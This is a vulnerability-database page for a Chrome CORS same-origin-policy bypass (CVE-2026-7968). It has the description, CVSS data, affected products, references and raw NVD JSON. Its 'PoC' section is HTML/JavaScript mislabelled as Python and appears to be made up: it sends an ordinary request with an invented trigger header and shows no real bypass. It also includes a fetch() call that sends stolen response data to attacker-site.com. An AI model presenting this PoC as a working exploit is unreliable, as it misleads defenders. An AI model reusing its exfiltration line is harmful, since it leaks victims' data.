CVE-2026-7968

Description

Insufficient validation of untrusted input in CORS in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CORS Bypass -->
<!-- Attacker needs to compromise the renderer process first -->
<html>
<head>
<title>CVE-2026-7968 PoC</title>
</head>
<body>
<script>
// Simulate the crafted HTML page
function exploit() {
    var xhr = new XMLHttpRequest();
    // Target a sensitive endpoint that should be protected by SOP
    var targetUrl = 'http://target-site.com/sensitive-data';
    
    xhr.onreadystatechange = function() {
        if (xhr.readyState == 4) {
            // If bypass is successful, data is leaked here
            console.log('Leaked Data:', xhr.responseText);
            fetch('http://attacker-site.com/steal?data=' + btoa(xhr.responseText));
        }
    };
    
    try {
        xhr.open('GET', targetUrl, true);
        // Manipulate headers to trigger the validation bypass
        xhr.setRequestHeader('X-Attacker-Header', 'Bypass-Trigger');
        xhr.send();
    } catch (e) {
        console.log('Exploit failed:', e);
    }
}

exploit();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7968
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7968
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7968/
[4] VulDB https://vuldb.com/cve/CVE-2026-7968
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/497432281

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7968", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:47.573", "lastModified": "2026-05-07T02:01:55.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in CORS in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/497432281", "source": "[email protected]", "tags": ["Permissions Required"]}]}}